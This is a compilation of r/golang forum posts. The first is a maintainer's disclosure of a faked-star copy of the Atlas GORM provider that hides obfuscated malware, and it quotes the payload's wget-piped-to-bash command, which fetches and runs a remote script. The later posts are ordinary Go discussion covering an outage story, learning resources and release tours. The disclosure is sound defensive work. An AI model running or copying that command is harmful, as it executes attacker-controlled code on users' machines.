Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).

Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.

The project: https://github.com/readyrevena/atlas-provider-gorm

The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:

wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &

I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.

• https://github.com/ourspiral/href-counter/blob/master/app.go#L97-L106

• https://github.com/slipperyclos/kubernixos/blob/master/kubeclient/delete.go#L22

• https://github.com/quarterlyairs/shelly-bulk-update/blob/master/main.go#L347

• https://github.com/jadedexpens/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403

• https://github.com/animatedspan/terraform-provider-atlas/blob/master/internal/provider/atlas_migration_data_source.go#L296

• https://github.com/turbulentsu/source-watcher/blob/master/controllers/gitrepository_predicate.go#L71

• https://github.com/likableratio/gonet/blob/master/gonet.go#L227

Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).

At my job we have a few dozen development teams, and a handful doing Go, the rest are doing Kotlin with Spring. I am a big fan of Go and honestly once you know Go, it doesn't make sense to me to ever use the JVM (Java Virtual Machine, on which Kotlin apps run) again. So I started a push within the company for the other teams to start using Go too, and a few started new projects with Go to try it out.

Fast forward a few months, and the team who maintains the subscriptions service has their first Go app live. It basically a microservice which lets you get user subscription information when calling with a user ID. The user information is fetched from the DB in the call, but since we only have a few subscription plans, they are loaded once during startup to keep in memory, and refreshed in the background every few hours.

Fast forward again a few weeks, and we are about to go live with a new subscription plan. It is loaded into the subscriptions service database with a flag visible=false, and would be brought live later by setting it to true (and refreshing the cached data in the app). The data was inserted into the database in the afternoon, some tests were performed, and everything looked fine.

Later that day in the evening, when traffic is highest, one by one the instances of the app trigger the background task to reload the subscription data from the DB, and crash. The instances try to start again, but they load the data from the DB during startup too, and just crash again. Within minutes, zero instances are available and our entire service goes down for users. Alerts go off, people get paged, the support team is very confused because there hasn't been a code change in weeks (so nothing to roll back to) and the IT team is brought in to debug and fix the issue. In the end, our service was down for a little over an hour, with an estimated revenue loss of about $100K.

So what happened? When inserting the new subscription into the database, some information was unknown and set to null. The app using using a pointer for these optional fields, and while transforming the data from the database struct into another struct used in the API endpoints, a nil dereference happened (in the background task), the app panicked and quit. When starting up, the app got the same nil issue again, and just panicked immediately too.

Naturally, many things went wrong here. An inexperienced team using Go in production for a critical app while they hardly had any experience, using a pointer field without a nil check, not manually refreshing the cached data after inserting it into the database, having no runbook ready to revert the data insertion (and notifying support staff of the data change).

But the Kotlin guys were very fast to point out that this would never happen in a Kotlin or JVM app. First, in Kotlin null is explicit, so null dereference cannot happen accidentally (unless you're using Java code together with your Kotlin code). But also, when you get a NullPointerException in a background thread, only the thread is killed and not the entire app (and even then, most mechanisms to run background tasks have error recovery built-in, in the form of a try...catch around the whole job).

To me this was a big eye opener. I'm pretty experienced with Go and was previously recommending it to everyone. Now I am not so sure anymore. What are your thoughts on it?

(This story is anonymized and some details changed, to protect my identity).

Stop forcing Clean Architecture and similar patterns into GoLang projects. GoLang is not Java. There’s no application size or complexity that justifies having more than three layers. Architectures like Clean, Hexagonal, or anything with 4+ layers make GoLang projects unnecessarily convoluted.

It’s frustrating to work on a codebase where you’re constantly jumping between excessive layers—unnecessary DI, weird abstractions, and use case layers that do nothing except call services with a few added logs. It’s like watching a monstrosity throw exceptions up and down without purpose.

In GoLang, you only need up to three layers for a proper DDD division (app, domain, infra). Anything more is pure overengineering. I get why this is common in Java—explicit interfaces and painful refactoring make layering and DI appealing—but GoLang doesn’t have those constraints. Its implicit interfaces make such patterns redundant.

These overly complex architectures are turning the GoLang ecosystem into something it was never meant to be. Please let’s keep GoLang simple, efficient, and aligned with its core philosophy.

I taught myself golang, it was a lot of grinding initially but I went through with it because I really liked the simplicity yet ability to be bare metal.

Here are some resources that have helped me in my journey. Sharing them here in case anyone is looking for study materials. [Disclaimer: These are links/notes collected over 3 years and not necessarily in order of expertise, but I will try my best to order them starting from basic ones and moving to more advanced resources]

• Firstly - https://golang.org/ and https://golang.org/doc/ .Learn straight from the gophers mouth.

• https://www.udemy.com/share/1013gw/ - Todd Mcloeds Course which I completed. Lays a strong and solid foundation of the most important golang concepts. I hope hes been updating his course. Highly recommend.

  • Tip: I created a repo while following the course. Helped drill the concepts in. Feel free to use this or or make something similar as your learn.

• https://www.digitalocean.com/community/tutorial_series/how-to-code-in-go - Useful if you want some clear instructions on system setups, etc.

• https://exercism.io/tracks/go - A recruiter introduced me to this. This is a cool and free resource to both practice Algo DS and learn important go concepts

• https://blog.golang.org/ - Talk about dedication. Ive never seen such meticulous dedication to a programming languages blog. Some imp links include:

  • https://blog.golang.org/slices

  • https://blog.golang.org/slices-intro

  • https://blog.golang.org/strings

• https://jordanorelli.com/post/32665860244/how-to-use-interfaces-in-go

• https://eli.thegreenplace.net/2019/simple-go-project-layout-with-modules/

• https://itnext.io/structuring-a-production-grade-rest-api-in-golang-c0229b3feedc

• https://dave.cheney.net/ - This is a great GREAT resource, I've come to this blog more times than I can remember. Mostly visited by me - https://dave.cheney.net/2018/05/29/how-the-go-runtime-implements-maps-efficiently-without-generics#:~:text=The%20classical%20hashmap%20is%20an,drawn%20from%20the%20Go%20implementation).

• https://research.swtch.com/interfaces

• https://pdos.csail.mit.edu/6.824/schedule.html - The BIG one. I tried to follow the MIT Distributed Systems course, although I could only follow through till week 6. This taught me more (and gave more headaches) than any other resources here. If you can follow the course through and back it up with implementations, it will reflect highly on your profile.

• Some resources for job search -

  • https://golang.cafe/

  • https://www.golangprojects.com/

  • https://www.welovegolang.com/

• Misc - [They were on my bookmarks and could be a little vague but sharing them just in case]

  • https://www.reddit.com/r/golang/comments/dd7s3j/what_is_the_time_complexity_of_using_slices_as/

  • https://stackoverflow.com/questions/2818852/is-there-a-queue-implementation

• [edit]Books that I have referred -

  • https://www.amazon.com/Kubernetes-Best-Practices-Blueprints-Applications/dp/1492056472/ref=sr_1_3?crid=1BV0YDTRDFRJX&dchild=1&keywords=kubernetes+best+practices&qid=1620273964&sprefix=kubernetes+best+practices%2Caps%2C489&sr=8-3

  • https://www.amazon.com/Concurrency-Go-Tools-Techniques-Developers/dp/1491941197/ref=sr_1_3?dchild=1&keywords=concurrency+in+go&qid=1620273872&sr=8-3

• [edit]Resources mentioned by people in the comments -

  • u:tmack8080 - " ..an excellent introduction to Go by Microsoft: https://docs.microsoft.com/en-us/learn/paths/go-first-steps/ "

  • u:dacjames - "I would also add reading source code of Hashicorp projects if you're more of a learn by example kind of person like I am."

  • u:komuW - https://go101.org/ is an underrated resource. It is thorough and well put

  • u:snewmt - I highly recommend joining the Gopher slack

    • https://invite.slack.golangbridge.org/

PS: golang is pretty cool to learn, specially if you are interested in application infra, SRE domains. I have a job offer from a FAANG for a purely go related role, so the prospects for the language look good at the moment. All the best fellow go-phers!

I love the man even more, especially given how everyone with a claude subscription seems to be making slop ai projects and spamming them on the subreddit.

The internet of shit. Welcome.

https://go-cookbook.com

I have been using Golang for 10+ years and over the time I compiled a list of Go snippets and released this project that currently contains 222 snippets across 36 categories.

Would love your feedback — the project is pretty new and I would be happy to make it a useful tool for all types of Go devs: from Go beginners who can quickly search for code examples to experienced developers who want to learn performance tips, common pitfalls and best practices (included into most of snippets). Also let me know if you have any category/snippet ideas — the list is evolving.

Earlier this week I released godump and within a few days already hit 100 stars ⭐️ 🌟 ✨

I wanted to extend my thanks and support to everyone and hope you all enjoy using it as much as I have. If you enjoy it as well please give drop a star on the repo ❤️

Repo: https://github.com/goforj/godump

Changes in v1.0.2

• Fixed an issue with Dd where it was printing the wrong code location in the stack

• Added support for custom types and rendering .String() methods on them if they exist

• 94% code coverage

Happy Friday gophers

Download: https://go.dev/dl/

Release notes: https://go.dev/doc/go1.18

Blog: https://go.dev/blog/go1.18

Blog post about new tutorials: https://go.dev/blog/tutorials-go1.18

Updated A Tour of Go: https://go.dev/tour/generics/1

Twitter: https://twitter.com/golang/status/1503787326060875782

I'm most looking forward to generics, fuzzing, and net/netip!

Python guy here.

I do a lot of financial regression testing with minutes by minute stock data.

It took 12 hours to run. Replaced Pandas with Polars and added a thread pool for parallel work. Dropped it to 3 hours. Feeling pretty good :)

Used Grok to help me move my python code to GO for shit n giggles. I had some limited Go experience from 2-3 years back. I knew I could squeeze all the CPU juice

Went from 3 hours to 2 minutes 37.

Also much easier to share memory than copy everything to all threads. Using 25 GB instead of 48.

Holy crap.

What do I do on Monday....arg !!!!

Go 1.26 is coming in February, so I think it's a good time to explore what's new.

As you probably know, the official releases are quite dry. So every six months, I put together an interactive tour of the upcoming release, with short summaries (not AI-generated) and lots of examples.

If you are interested, here is what's in the Go 1.26 tour:

• Calling new() on expressions.

• Type-safe error checking.

• Green Tea garbage collector (now production-ready).

• Faster cgo and syscalls.

• Faster memory allocation for small objects.

• Vectorized operations (SIMD) for amd64 (experimental).

• Secret mode for erasing memory (experimental).

• Reader-less cryptography.

• Goroutine leak profile (experimental).

• Per-state goroutine metrics.

• Iterators for reflected Type and Value.

• Peek into a byte buffer.

• OS process handle and OS signal as cause.

• Compare IP subnets.

• Context-aware network dialing.

• Fake example.com for testing.

• Optimized fmt.Errorf and io.ReadAll.

• Multiple log handlers.

• Test artifacts.

• Modernized go fix.

json/v2 remains experimental at this time.

https://antonz.org/go-1-26

Im on my 5 years run on Go making it my main programming language, and i have to say I'm stressed out when I have to work with another language.

My main job for the last 5 years use Go and I'm very happy about it, The learning curve is not steep, very developer friendly, and minimum downside... but not everything is running according my wish, not every company for my side projects is using Golang.

When i need to use a very OOP language like Java or C# i have a golang witdrawal, i always think in golang when i have an issue and i think i have a problem

I just hope golang stays relevant until i retire tbh